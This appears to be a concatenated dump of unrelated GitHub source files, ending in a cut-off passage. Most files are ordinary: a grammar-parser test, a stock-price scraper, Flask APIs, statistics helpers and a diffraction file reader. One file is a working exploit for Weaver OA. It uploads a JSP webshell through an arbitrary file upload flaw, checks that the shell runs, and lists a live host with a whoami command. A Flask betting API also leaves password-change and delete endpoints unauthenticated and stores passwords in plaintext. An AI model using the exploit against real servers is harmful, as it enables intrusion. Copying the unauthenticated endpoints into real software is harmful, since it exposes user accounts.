init_input[3:] if line]) if lines > 3 else []))\n\n def __eq__(self, other):\n '''Method for camparing two grammars. Assume the other object is also of Grammar class'''\n # If each of loaded objects failed, fail\n if self.failed or other.failed:\n return False\n # Else - compare all set's of both parameters\n return self.nonterminals == other.nonterminals and self.terminals == other.terminals and \\\n self.starting_symbol == other.starting_symbol and self.rules == other.rules\n\n def __repr__(self):\n '''Define grammars representation as string'''\n return \"\" if self.failed else '\\n'.join([','.join(self.nonterminals), ','.join(self.terminals), self.starting_symbol, '\\n'.join(self.rules)])\n \n def __sub__(self, other):\n '''Get difference between two grammars'''\n if self.failed:\n return \"\"\n if other.failed:\n return str(other)\n return '\\n'.join([\n \"Terminals:\\t\" + ','.join([n for n in self.nonterminals if n not in other.nonterminals]),\n \"Nonterminals:\\t\" + ','.join([t for t in self.terminals if t not in other.terminals]),\n \"Rules:\\t\\t\" + '|'.join([r for r in self.rules if r not in other.rules])])\n\ndef print_verbose_res(grammars, form):\n '''Print somehow nicely the result and reference grammars'''\n correct = grammars[0] == grammars[1]\n print(form + \": \" + (success(\"Success\") if correct else error(\"Failed\")))\n if \"--debug\" in sys.argv:\n print(\"\\n\"+test_c(\"Groud truth grammar:\"))\n print(grammars[0])\n print(\"\\n\"+test_c(\"Output grammar:\"))\n print(grammars[1], end=\"\\n\\n\")\n # Print the differences\n if not correct:\n print(\"\\nFound mistakes\\n\")\n print(\"\\nWhat is parsed grammar missing:\\n\" + error(grammars[0] - grammars[1]))\n print(\"\\nWhat is redundant in parsed grammar:\\n\" + error(grammars[1] - grammars[0]))\n\n if form.startswith(\"Chom\"):\n print(\"\\n\")\n\ndef abs_p(path):\n return ROOT_DIR + \"/\" + path\n\n# Define some colored strings\ndef error(string):\n return '\\033[91m' + string + '\\033[0m'\n\ndef success(string):\n return '\\033[92m' + string + '\\033[0m'\n\ndef test_c(string):\n return '\\033[93m' + string + '\\033[0m'\n\ndef big(string):\n return '\\033[94m' + string + '\\033[0m'\n\n\ndef print_form_success(results, form, tabs=1):\n '''Print summary of one of three tasks (Internal representation of CFG, Non-trivial CFG, CNF CFG)'''\n percentage = sum(results)/len(results)*100\n output = f\"{percentage} % ({sum(results)} of {len(results)}) correct\"\n print(form + \": \" + tabs*'\\t' + (success(output) if percentage == 100 else error(output)))\n\nif __name__ == \"__main__\":\n # First, cehck the CLI args -> if some integers present, execute only tests specified by those integers\n specific_tests = sorted([int(num) for num in sys.argv if num.isnumeric() and int(num) > 0 and int(num) <= TESTS])\n if not specific_tests:\n # If none tests specified on CLI, run all of them\n specific_tests = range(1,TESTS+1)\n tests = [(abs_p(f'tests/grammars/test{num}'), num) for num in specific_tests]\n\n # Now, all test directories should have 3 files - cfgIn (raw grammar - internal representation), cfgNT (non-trivial) and cfgCNF (Chomsky's normal form)\n # Do not check it, let's assume it exists like that ...\n # Define some \"constants\" to ease our way...\n g_types = [('cfgIn', '-i'),('cfgNT', '-1'),('cfgCNF', '-2')] # CFG as text in file in one of required form and it's corresponding flag for flp21-fun\n results = [] # Here will be stored the results\n\n # Execute the parser on all required tests\n for test in tests:\n # For each test - perform each operation\n for g_type in g_types:\n with open(f'{test[0]}/{g_type[0]}') as f:\n g_input = f.readlines()\n # Get the reference grammar\n gt_grammar = Grammar(g_input)\n # Execute our parser and pass it's output into our Grammar class\n out_grammar = Grammar(os.popen(f'{abs_p(\"flp21-fun\")} {g_type[1]} {test[0]}/cfgIn').readlines())\n # Store the results\n results.append((gt_grammar, out_grammar, test[1]))\n \n # Evaluate the results for each test and all it's formats\n for i in range(0, len(results), 3):\n res = [g[0]==g[1] for g in results[i:i+3]]\n # percentage\n p = str(sum(res)/3*100)\n res_string = f\"\\t{p[:min(len(p),5)]} % - \" + (\"Passed\" if all(res) else \"Failed\")\n print(big(f\"test #{results[i][2]}:\") + (success(res_string) if all(res) else error(res_string))+'\\n')\n if '-v' in sys.argv:\n print_verbose_res(results[i], \"Internal representation\")\n print_verbose_res(results[i+1], \"Non-trivial form\")\n print_verbose_res(results[i+2], \"Chomsky's normal from\")\n \n # Summary\n res = [g[0]==g[1] for g in results]\n p = sum(res)/len(res)*100\n print(big(\"Summary:\"))\n print(f'\\tGrammar checks: \\t{len(results)}')\n print(f'\\tCorrect: \\t\\t{sum(res)}')\n print('\\tSuccess rate: \\t\\t' + (success(f'{p} %') if p == 100 else error(f'{p} %')))\n print_form_success(res[::3], \"\\nInternal representation\")\n print_form_success(res[1::3], \"Non-trivial form\", 2)\n print_form_success(res[2::3], \"Chomsky's normal from\", 2)\n","repo_name":"michal-glos-brq/contextfree-grammar-parser","sub_path":"tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":7728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"25881185735","text":"\n# -*- coding: utf-8 -*-\n\nimport requests\nimport re\nimport pandas as pd\nimport json\nfrom datetime import date\nquotes = []\nurl = 'https://finance.yahoo.com/quote/MSFT/history?period1=1420041600&period2=1451577600&interval=1d&filter=history&frequency=1d'\nr = requests.get(url)\nm = re.findall('\"HistoricalPriceStore\":{\"prices\":(.*),\"isPending\"', r.text)\nif m:\n quotes = json.loads(m[0])\n quotes = quotes[::-1]\nquotes = [item for item in quotes if 'type' not in item]\n\nfor i in range(len(quotes)):\n x = date.fromtimestamp(quotes[i]['date'])\n quotes[i]['date'] = date.strftime(x, '%Y-%m-%d')\n quotes[i]['month'] = date.strftime(x, '%m')\n\nquotesdf = pd.DataFrame(quotes)\nx = quotesdf.groupby('month').close.mean()\nprint(x)\n\n","repo_name":"Waterx/Python_Learning","sub_path":"mooc-Python_in_data/5.MSTF_in_2015/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14734299245","text":"import json\n\nfrom flask import (\n Blueprint, request\n)\nfrom marshmallow import Schema, fields, validate, ValidationError, EXCLUDE\nfrom sqlalchemy.sql.functions import count\nfrom werkzeug.exceptions import abort\n\nfrom cleanup.database import db\nfrom cleanup.auth.views import login_required\nfrom .models.cleaner import Cleaner\nfrom ..booking.models import Booking\nfrom ..city.models import City\n\nbp = Blueprint('cleaner', __name__)\n\n\nclass CleanerCitySchema(Schema):\n id = fields.Int(required=True)\n\n class Meta:\n unknown = EXCLUDE\n\n\nclass CleanerSchema(Schema):\n name = fields.Str(required=True, validate=validate.Length(min=3, max=100))\n email = fields.Email(required=True)\n phone = fields.Str(required=True, validate=validate.Length(equal=6))\n\n cities = fields.List(fields.Nested(CleanerCitySchema))\n\n\nclass AvailableCleanersSchema(Schema):\n date = fields.Date(required=True)\n city = fields.Int(required=True)\n\n\n@bp.route('/cleaners', methods=('GET', ))\n@login_required\ndef list():\n cleaners = Cleaner.query.all()\n return {\n 'items': [cleaner_to_response(cleaner) for cleaner in cleaners]\n }\n\n\n@bp.route('/available-cleaners', methods=('GET', ))\ndef list_available():\n try:\n result = AvailableCleanersSchema().load(request.args)\n except ValidationError as error:\n return {'errors': error.messages}, 400\n\n date = result['date']\n city_id = result['city']\n\n city = City.query.get(city_id)\n if city is None:\n abort(404)\n\n cleaners = query_available_cleaners(city, date)\n return {\n 'items': [cleaner_to_response(cleaner) for cleaner in cleaners]\n }\n\n\ndef query_available_cleaners(city: City, date):\n # subquery to count the number of bookings of a cleaner in the provided city and date\n stmt = db.session.query(count(Booking.id).label('bookings_count')) \\\n .filter_by(cleaner_id=Cleaner.id, city=city, date=date).as_scalar()\n # all cleaners which have 0 bookings in the provided city and date\n return db.session.query(Cleaner).filter(stmt == 0).all()\n\n\n@bp.route('/cleaner/<int:id>', methods=('GET', ))\n@login_required\ndef get(id):\n return get_item(id)\n\n\n@bp.route('/cleaner', methods=('POST', ))\n@login_required\ndef create():\n raw_content = request.data.decode('utf-8')\n data = json.loads(raw_content)\n\n try:\n result = CleanerSchema().load(data)\n except ValidationError as error:\n # format errors\n return {'errors': error.messages}, 400\n\n # find every city\n cities_ids = [x['id'] for x in data['cities']]\n from cleanup.city.models import City\n cities_found = City.query.filter(City.id.in_(cities_ids)).all()\n\n # todo: assert we found all cities\n\n cleaner = Cleaner(name=result['name'], email=result['email'], phone=result['phone'])\n db.session.add(cleaner)\n\n for city in cities_found:\n cleaner.cities.append(city)\n\n db.session.commit()\n\n return cleaner_to_response(cleaner)\n\n\n@bp.route('/cleaner/<int:id>', methods=('PUT', ))\n@login_required\ndef update(id):\n cleaner = get_item(id)\n raw_content = request.data.decode('utf-8')\n data = json.loads(raw_content)\n\n try:\n result = CleanerSchema().load(data)\n except ValidationError as error:\n # format errors\n return {'errors': error.messages}, 400\n\n # find every city\n cities_ids = [x['id'] for x in data['cities']]\n from cleanup.city.models import City\n cities_found = City.query.filter(City.id.in_(cities_ids)).all()\n\n # todo: assert we found all cities\n\n cleaner_cities = cleaner.cities\n cleaner_cities_ids = [city.id for city in cleaner_cities]\n\n for city in cleaner_cities:\n if city.id not in cities_ids:\n cleaner.cities.remove(city)\n\n for city in cities_found:\n if city.id not in cleaner_cities_ids:\n cleaner.cities.append(city)\n\n db.session.commit()\n\n return cleaner_to_response(cleaner)\n\n\n@bp.route('/cleaner/<int:id>', methods=('DELETE',))\n@login_required\ndef delete(id):\n item = get_item(id)\n db.session.delete(item)\n db.session.commit()\n return '', 201\n\n\ndef cleaner_to_response(cleaner):\n return {\n 'id': cleaner.id,\n 'name': cleaner.name,\n 'email': cleaner.email,\n 'phone': cleaner.phone,\n 'cities': [{\n 'id': city.id,\n 'name': city.name,\n 'zipcode': city.zipcode,\n } for city in cleaner.cities]\n }\n\n\ndef get_item(id):\n item = Cleaner.query.get(id)\n if item is None:\n abort(404)\n return item","repo_name":"dragos-blaj/clean-up","sub_path":"cleanup/cleaner/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"6341286671","text":"# Program Name: statistical_data_analysis_tool\n# Purpose: provide some statistical data analysis methods\n\n\nimport math\n\n\n# a measure of the amount of variation or dispersion of a set of values\ndef standard_deviation(data_set):\n \"\"\"\n Calculate standard deviation\n\n Parameters\n ----------\n data_set : list\n consist of numeric values. eg: [1,2,3,4,5]\n\n Returns\n -------\n float\n standard deviation.\n \"\"\"\n # Calculate the Standard Deviation\n return math.sqrt(variance(data_set))\n\n\n# average of the data set\ndef mean(data_set):\n \"\"\"\n Calculate avarage of data set\n\n Parameters\n ----------\n data_set : list\n consist of numeric values. eg: [1,2,3,4,5]\n\n Returns\n -------\n float\n mean\n \"\"\"\n # verify data length\n verify_data_set_length(expected_length_at_least=1, data_set=data_set, func_name='mean')\n\n # Calculate mean\n return sum(data_set) / len(data_set)\n\n\n# how far a set of (random) numbers are spread out from their average value\ndef variance(data_set):\n \"\"\"\n Calculate how far a set of (random) numbers are spread out from their average value\n\n Parameters\n ----------\n data_set : list\n consist of numeric values. eg: [1,2,3,4,5]\n\n Returns\n -------\n float\n variance\n \"\"\"\n # verify data length\n verify_data_set_length(expected_length_at_least=2, data_set=data_set, func_name='variance')\n\n # call mean function to find mean of data set\n average = mean(data_set)\n # find the Variance\n return sum([abs((x - average) ** 2) for x in data_set]) / (len(data_set) - 1)\n\n\n# middle number in a data set\ndef median(data_set):\n \"\"\"\n find the middle number in a data set\n\n Parameters\n ----------\n data_set : list\n consist of numeric values. eg: [1,2,3,4,5]\n\n Returns\n -------\n float\n median\n \"\"\"\n # verify data length\n verify_data_set_length(expected_length_at_least=1, data_set=data_set, func_name='median')\n\n # sort the data set\n data_set.sort()\n\n return get_item_middle_data_set(data_set)\n\n\n# calculate correlation\n# measure of the linear relationship between two quantitative variables \ndef correlation_pearson(data_setx, data_sety):\n \"\"\"\n Calculate measure of the linear relationship between two quantitative variables\n\n Parameters\n ----------\n data_set : list\n consist of numeric values. eg: [1,2,3,4,5]\n\n Returns\n -------\n float\n pearsonr\n \"\"\"\n # verify data length\n verify_data_set_length(expected_length_at_least=2, data_set=data_setx, func_name='correlation_pearson')\n\n # verify data length\n verify_data_set_length(expected_length_at_least=2, data_set=data_sety, func_name='correlation_pearson')\n\n # data set should have the same length\n if len(data_setx) != len(data_sety):\n raise ValueError(\"data_setx and data_sety must have the same length.\")\n\n # one of data set length\n n = len(data_setx)\n # calculate mean of data_setx\n mean_x = mean(data_setx)\n # calculate mean of data_sety\n mean_y = mean(data_sety)\n # merge data sets and convert to tuple\n tuple_xy = tuple(zip(data_setx, data_sety))\n # subtract each item of data_setx from itself own mean and subtract each item of data_sety from itself own mean\n # multiply them each other and sum\n n_sum_tuple = sum([(x - mean_x) * (y - mean_y) for x, y in tuple_xy])\n # calculate std of data_setx\n std_x = standard_deviation(data_setx)\n # calculate std of data_sety\n std_y = standard_deviation(data_sety)\n # calculate pearsonr\n result = n_sum_tuple / ((n - 1) * std_x * std_y)\n\n return result\n\n\n# the middle number between the smallest number and the median of the data set. \ndef quartile_first(data_set):\n \"\"\"\n Find the middle number between the smallest number and the median of the data set\n\n Parameters\n ----------\n data_set : list\n consist of numeric values. eg: [1,2,3,4,5]\n\n Returns\n -------\n float\n quartile (Q1)\n \"\"\"\n verify_data_set_length(expected_length_at_least=1, data_set=data_set, func_name='quartile_first')\n\n # sort the data set\n data_set.sort()\n\n # find the mid-index\n mid_index = int(len(data_set) / 2)\n\n return get_item_middle_data_set(data_set[0:mid_index + 1])\n\n\n# the middle value between the median and the highest value of the data set\ndef quartile_third(data_set):\n \"\"\"\n Find the middle value between the median and the highest value of the data set\n\n Parameters\n ----------\n data_set : list\n consist of numeric values. eg: [1,2,3,4,5]\n\n Returns\n -------\n float\n quartile (Q3)\n \"\"\"\n # verify data length\n verify_data_set_length(expected_length_at_least=1, data_set=data_set, func_name='quartile_third')\n\n # sort the data set\n data_set.sort()\n\n # find the mid-index\n mid_index = int(len(data_set) / 2)\n\n if len(data_set) % 2:\n # single number in the middle of the data set\n return get_item_middle_data_set(data_set[mid_index:])\n else:\n # two number in the middle of the data set\n return get_item_middle_data_set(data_set[mid_index - 1:])\n\n\n# min value of data set\ndef min_data_set(data_set):\n \"\"\"\n min value of data set\n\n Parameters\n ----------\n data_set : list\n consist of numeric values. eg: [1,2,3,4,5]\n\n Returns\n -------\n Numeric\n min item in the data set\n \"\"\"\n # verify data length\n verify_data_set_length(expected_length_at_least=1, data_set=data_set, func_name='min_data_set')\n\n return min(data_set)\n\n\n# max value of data set\ndef max_data_set(data_set):\n \"\"\"\n max value of data set\n\n Parameters\n ----------\n data_set : list\n consist of numeric values. eg: [1,2,3,4,5]\n\n Returns\n -------\n float\n max item in the data_set\n \"\"\"\n # verify data length\n verify_data_set_length(expected_length_at_least=1, data_set=data_set, func_name='max_data_set')\n\n return max(data_set)\n\n\n# get the item which is the middle of the data set\ndef get_item_middle_data_set(data_set):\n \"\"\"\n Find the middle index of the data set and decide the middle of the data set is single or not\n\n Parameters\n ----------\n data_set : list\n consist of numeric values. eg: [1,2,3,4,5]\n\n Returns\n -------\n float\n item which is the middle of the data set\n \"\"\"\n # find the mid-index\n mid_index = int(len(data_set) / 2)\n\n if len(data_set) % 2:\n # single number in the middle of the data set\n return data_set[mid_index]\n else:\n # two number in the middle of the data set\n return (data_set[mid_index - 1] + data_set[mid_index]) / 2\n\n\n# common data set length check\ndef verify_data_set_length(expected_length_at_least, data_set, func_name):\n \"\"\"\n Verify the data set length by specified data set length\n\n Parameters\n ----------\n data_set : list\n list of values. eg: [1,2,3,4,5]\n\n expected_length_at_least : int\n the smallest data point. The data set length can not be less then \"expected_length_at_least\"\n\n func_name : str\n invoked function name. eg: \"variance\" or \"mean\"\n\n Raise\n -------\n Exception\n Raise Exception if len(data_set)<expected_length_at_least\n \"\"\"\n if len(data_set) < expected_length_at_least:\n raise Exception(f\"{func_name} requires at least {expected_length_at_least} data points\")\n","repo_name":"fsusam/statistical-data-analysis-tool","sub_path":"src/statistical_data_analysis_tool.py","file_name":"statistical_data_analysis_tool.py","file_ext":"py","file_size_in_byte":7564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31556690307","text":"__author__ = 'jongl'\n# this file contains some rudimentary attempts at reading alternative data formats from other\n# detectors. The first attempt is the Bruker/Siemens V3 RAW format with others to come\n\n# much of this code would be better served by using xylib which it is derived from.\n# However I didn't want to include too many other dependencies since it is written in c++\n# but has python wrappers.\n\n# currently does no error checking and will probably fail ungracefully\n\nimport struct\nimport numpy\n\ndef read_header(f):\n head_string = f.read(4)\n if head_string == 'RAW1' and f.read(3) == '.01':\n return 'ver3'\n elif head_string =='RAW':\n return 'ver1'\n elif head_string =='RAW2':\n return 'ver2'\n else:\n return\n\n\nmeta_tags_v3 = [\n # tag, num_bytes, seek offset,stuct_unpackformat\n ('file status', 4, 1, 'I'),\n ('range_cnt', 4,0,'I'),\n ('MEASURE_DATE', 10, 0,'s'),\n ('MEASURE_TIME',10,0,'s'),\n ('USER',72,0,'s'),\n ('SITE', 218,0,'s'),\n ('SAMPLE_ID', 60, 0,'s'),\n ('COMMENT', 160,0,'s'),\n ('ANODE_MATERIAL', 4, 62 ,'s'),\n ('ALPHA_AVERAGE', 8,4,'d'),\n ('ALPHA1', 8,0,'d'),\n ('ALPHA2', 8,0,'d'),\n ('BETA',8,0,'d'),\n ('ALPHA_RATIO',8,0,'d'),\n ('measurement time', 4, 8, 'I')\n ]\n\nblock_meta_tags_v3=[\n ('header_len',4,0,'I'),\n ('STEPS',4,0,'I'),\n ('START_THETA',8,0,'d'),\n ('START_2THETA',8,0,'d'),\n ('HIGH_VOLTAGE',4,76,'f'),\n ('AMPLIFIER_GAIN',4,0,'f'),\n ('DISCRIMINATOR_1_LOWER_LEVEL',4,0,'f'),\n ('STEP_SIZE',8,64,'d'),\n ('TIME_PER_STEP',4,8,'f'),\n ('ROTATION_SPEED [rpm]',4,12,'f'),\n ('GENERATOR_VOLTAGE',4,12,'I'),\n ('GENERATOR_CURRENT',4,0,'I'),\n ('USED_LAMBDA',8,8,'d'),\n ('supplementary_headers_size',4,8,'I')]\n\ndef read_meta(tag_set, f):\n meta={}\n for name,num_bytes,seek_offset, unpack_format in tag_set:\n if seek_offset!=0:\n f.seek(seek_offset,1)# go seek_offset number of bytes forward from current position\n data = f.read(num_bytes)\n if unpack_format=='s':\n data = struct.unpack(str(num_bytes)+unpack_format,data)\n meta[name]=data[0].strip('\\x00')\n else:\n data = struct.unpack(unpack_format,data)\n meta[name]=data[0]\n return meta\n\ndef read_block_data(start_theta,steps, step_size,f):\n pairs=[]\n end_theta=start_theta+steps*step_size\n theta=start_theta\n theta_range=numpy.arange(start_theta,end_theta,step_size)\n data_range=numpy.empty_like(theta_range)\n for i, theta in numpy.ndenumerate(theta_range):\n tmp_data=f.read(4)\n data_range[i] = struct.unpack('f',tmp_data)[0]\n stack= numpy.vstack((theta_range,data_range))\n stack = numpy.swapaxes(stack,0,1)\n return numpy.hstack((stack,numpy.zeros((theta_range.shape[0],1))))\n\ndef read_data_ver1(f):\n pass\n\ndef read_data_ver2(f):\n pass\n\n\ndef read_data_ver3(f):\n meta=read_meta(meta_tags_v3,f)\n range_cnt=meta['range_cnt']\n f.seek(712)\n for r in range(range_cnt):\n block_meta=read_meta(block_meta_tags_v3,f)\n meta[\"block{}\".format(r)]=block_meta\n f.seek(712+304*(1+r))\n start2T=block_meta['START_2THETA']\n steps=block_meta['STEPS']\n stepsize=block_meta['STEP_SIZE']\n block_data=read_block_data(start2T,steps,stepsize,f)\n return block_data,meta\n\n\ndef read_raw(filename):\n f=open(filename, 'rb')\n file_format=read_header(f)\n xy_data,meta_data=read_data_ver3(f)\n return xy_data,meta_data","repo_name":"AustralianSynchrotron/pdviper","sub_path":"data_formats.py","file_name":"data_formats.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"24793624244","text":"# coding:utf-8 \nimport requests\nfrom lib.core.common import url_handle,get_random_ua\nfrom lib.core.poc import POCBase\nfrom lib.core.data import poc_path\n# ...\nimport urllib3\nurllib3.disable_warnings()\n\nclass POC(POCBase):\n\n _info = {\n \"author\" : \"jijue\", # POC作者\n \"version\" : \"1\", # POC版本,默认是1 \n \"CreateDate\" : \"2022-01-01\", # POC创建时间\n \"UpdateDate\" : \"2022-01-01\", # POC创建时间\n \"PocDesc\" : \"\"\"\n 略 \n \"\"\", # POC描述,写更新描述,没有就不写\n\n \"name\" : \"泛微OA weaver.common.Ctrl 任意文件上传漏洞\", # 漏洞名称\n \"VulnID\" : \"oFx-2022-0001\", # 漏洞编号,以CVE为主,若无CVE,使用CNVD,若无CNVD,留空即可\n \"AppName\" : \"\", # 漏洞应用名称\n \"AppVersion\" : \"\", # 漏洞应用版本\n \"VulnDate\" : \"2022-01-01\", # 漏洞公开的时间,不知道就写今天,格式:xxxx-xx-xx\n \"VulnDesc\" : \"\"\"\n 泛微OA weaver.common.Ctrl 存在任意文件上传漏洞,攻击者通过漏洞可以上传webshell文件控制服务器\n \"\"\", # 漏洞简要描述\n\n \"fofa-dork\":\"\"\"\n app=\"泛微-协同办公OA\"\n \"\"\", # fofa搜索语句\n \"example\" : \"\"\"\n https://14.21.44.82:8180/cloudstore/7HPc09xv.jsp?cmd=whoami\n\n \"\"\", # 存在漏洞的演示url,写一个就可以了\n \"exp_img\" : \"\", # 先不管 \n }\n\n def _verify(self):\n \"\"\"\n 返回vuln\n\n 存在漏洞:vuln = [True,html_source] # html_source就是页面源码 \n\n 不存在漏洞:vuln = [False,\"\"]\n \"\"\"\n vuln = [False,\"\"]\n mm = \"7HPc09xv\"\n webshell_name1 = mm+'.jsp'\n webshell_name2 = '../../../'+webshell_name1\n \n url0 = self.target + \"/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp\" # url自己按需调整\n file = [('file1', (mm+'.zip', open(poc_path + \"Weaver_泛微OA/File_Upload_weaver_common_ctrl/\" + mm + '.zip', 'rb'), 'application/zip'))]\n url1 = self.target + '/cloudstore/'+webshell_name1\n headers = {\n \"User-Agent\":get_random_ua(),\n \"Connection\":\"close\",\n # \"Content-Type\": \"application/x-www-form-urlencoded\",\n }\n \n try:\n \"\"\"\n 检测逻辑,漏洞存在则修改vuln值为True,漏洞不存在则不动\n \"\"\"\n req0 = requests.post(url0,files=file,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)\n req1 = requests.get(url1,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False,allow_redirects=False)\n if req1.status_code == 200 and \"qax nb and yyds\" in req1.text:\n vuln = [True,req1.text]\n else:\n vuln = [False,req1.text]\n except Exception as e:\n raise e\n \n # 以下逻辑酌情使用\n if self._honeypot_check(vuln[1]) == True:\n vuln[0] = False\n \n return vuln\n\n def _attack(self):\n return self._verify()","repo_name":"bigblackhat/oFx","sub_path":"poc/Weaver_泛微OA/File_Upload_weaver_common_ctrl/poc.py","file_name":"poc.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":719,"dataset":"github-code","pt":"69"} +{"seq_id":"27860660026","text":"def soma(n):\n return ((1+n)*n)/2\ndef main():\n x = int(input())\n y = input()\n a = y.split()\n elista = list(map(int, a))\n c = sum(elista)\n z = soma(x)\n print(int(z-c))\n \n\nmain()","repo_name":"Iagopatrick/Geral","sub_path":"python/obi/ausente.py","file_name":"ausente.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"15400085062","text":"from flask import request\nfrom flask_jwt_extended import jwt_required, create_access_token\nfrom flask_restful import Resource\nfrom sqlalchemy.exc import IntegrityError\n\nfrom modelos import db, Apuesta, ApuestaSchema, Usuario, UsuarioSchema, Carrera, CarreraSchema, CompetidorSchema, \\\n Competidor, ReporteSchema\n\napuesta_schema = ApuestaSchema()\ncarrera_schema = CarreraSchema()\ncompetidor_schema = CompetidorSchema()\nusuario_schema = UsuarioSchema()\nreporte_schema = ReporteSchema()\n\n\nclass VistaSignIn(Resource):\n\n def post(self):\n nuevo_usuario = Usuario(usuario=request.json[\"usuario\"], contrasena=request.json[\"contrasena\"])\n db.session.add(nuevo_usuario)\n db.session.commit()\n token_de_acceso = create_access_token(identity=nuevo_usuario.id)\n return {\"mensaje\": \"usuario creado exitosamente\", \"token\": token_de_acceso, \"id\": nuevo_usuario.id}\n\n def put(self, id_usuario):\n usuario = Usuario.query.get_or_404(id_usuario)\n usuario.contrasena = request.json.get(\"contrasena\", usuario.contrasena)\n db.session.commit()\n return usuario_schema.dump(usuario)\n\n def delete(self, id_usuario):\n usuario = Usuario.query.get_or_404(id_usuario)\n db.session.delete(usuario)\n db.session.commit()\n return '', 204\n\n\nclass VistaLogIn(Resource):\n\n def post(self):\n usuario = Usuario.query.filter(Usuario.usuario == request.json[\"usuario\"],\n Usuario.contrasena == request.json[\"contrasena\"]).first()\n db.session.commit()\n if usuario is None:\n return \"El usuario no existe\", 404\n else:\n token_de_acceso = create_access_token(identity=usuario.id)\n return {\"mensaje\": \"Inicio de sesión exitoso\", \"token\": token_de_acceso}\n\n\nclass VistaCarrerasUsuario(Resource):\n\n @jwt_required()\n def post(self, id_usuario):\n nueva_carrera = Carrera(nombre_carrera=request.json[\"nombre\"])\n for item in request.json[\"competidores\"]:\n cuota = round((item[\"probabilidad\"] / (1 - item[\"probabilidad\"])), 2)\n competidor = Competidor(nombre_competidor=item[\"competidor\"],\n probabilidad=item[\"probabilidad\"],\n cuota=cuota,\n id_carrera=nueva_carrera.id)\n nueva_carrera.competidores.append(competidor)\n usuario = Usuario.query.get_or_404(id_usuario)\n usuario.carreras.append(nueva_carrera)\n\n try:\n db.session.commit()\n except IntegrityError:\n db.session.rollback()\n return 'El usuario ya tiene un carrera con dicho nombre', 409\n\n return carrera_schema.dump(nueva_carrera)\n\n @jwt_required()\n def get(self, id_usuario):\n usuario = Usuario.query.get_or_404(id_usuario)\n return [carrera_schema.dump(carrera) for carrera in usuario.carreras]\n\n\nclass VistaCarrera(Resource):\n\n @jwt_required()\n def get(self, id_carrera):\n return carrera_schema.dump(Carrera.query.get_or_404(id_carrera))\n\n @jwt_required()\n def put(self, id_carrera):\n carrera = Carrera.query.get_or_404(id_carrera)\n carrera.nombre_carrera = request.json.get(\"nombre\", carrera.nombre_carrera)\n carrera.competidores = []\n\n for item in request.json[\"competidores\"]:\n probabilidad = float(item[\"probabilidad\"])\n cuota = round((probabilidad / (1 - probabilidad)), 2)\n competidor = Competidor(nombre_competidor=item[\"competidor\"],\n probabilidad=probabilidad,\n cuota=cuota,\n id_carrera=carrera.id)\n carrera.competidores.append(competidor)\n\n db.session.commit()\n return carrera_schema.dump(carrera)\n\n @jwt_required()\n def delete(self, id_carrera):\n carrera = Carrera.query.get_or_404(id_carrera)\n db.session.delete(carrera)\n db.session.commit()\n return '', 204\n\n\nclass VistaApuestas(Resource):\n\n @jwt_required()\n def post(self):\n nueva_apuesta = Apuesta(valor_apostado=request.json[\"valor_apostado\"],\n nombre_apostador=request.json[\"nombre_apostador\"],\n id_competidor=request.json[\"id_competidor\"], id_carrera=request.json[\"id_carrera\"])\n db.session.add(nueva_apuesta)\n db.session.commit()\n return apuesta_schema.dump(nueva_apuesta)\n\n @jwt_required()\n def get(self):\n return [apuesta_schema.dump(ca) for ca in Apuesta.query.all()]\n\n\nclass VistaApuesta(Resource):\n\n @jwt_required()\n def get(self, id_apuesta):\n return apuesta_schema.dump(Apuesta.query.get_or_404(id_apuesta))\n\n @jwt_required()\n def put(self, id_apuesta):\n apuesta = Apuesta.query.get_or_404(id_apuesta)\n apuesta.valor_apostado = request.json.get(\"valor_apostado\", apuesta.valor_apostado)\n apuesta.nombre_apostador = request.json.get(\"nombre_apostador\", apuesta.nombre_apostador)\n apuesta.id_competidor = request.json.get(\"id_competidor\", apuesta.id_competidor)\n apuesta.id_carrera = request.json.get(\"id_carrera\", apuesta.id_carrera)\n db.session.commit()\n return apuesta_schema.dump(apuesta)\n\n @jwt_required()\n def delete(self, id_apuesta):\n apuesta = Apuesta.query.get_or_404(id_apuesta)\n db.session.delete(apuesta)\n db.session.commit()\n return '', 204\n\n\nclass VistaTerminacionCarrera(Resource):\n\n def put(self, id_competidor):\n competidor = Competidor.query.get_or_404(id_competidor)\n competidor.es_ganador = True\n carrera = Carrera.query.get_or_404(competidor.id_carrera)\n carrera.abierta = False\n\n for apuesta in carrera.apuestas:\n if apuesta.id_competidor == competidor.id:\n apuesta.ganancia = apuesta.valor_apostado + (apuesta.valor_apostado/competidor.cuota)\n else:\n apuesta.ganancia = 0\n\n db.session.commit()\n return competidor_schema.dump(competidor)\n\n\nclass VistaReporte(Resource):\n\n @jwt_required()\n def get(self, id_carrera):\n carreraReporte = Carrera.query.get_or_404(id_carrera)\n ganancia_casa_final = 0\n\n for apuesta in carreraReporte.apuestas:\n ganancia_casa_final = ganancia_casa_final + apuesta.valor_apostado - apuesta.ganancia\n\n reporte = dict(carrera=carreraReporte, ganancia_casa=ganancia_casa_final)\n schema = ReporteSchema()\n return schema.dump(reporte)\n","repo_name":"duvanjamid/e-porra-bakend","sub_path":"vistas/vistas.py","file_name":"vistas.py","file_ext":"py","file_size_in_byte":6623,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"9204425950","text":"# -*- coding: utf-8 -*-\n\"\"\"\nhttps://github.com/Li-Ming-Fan/ROUGE_eval\n\n\"\"\"\n\nimport os\nimport shutil\nimport time\nimport re\n\nimport logging\nfrom pyrouge import 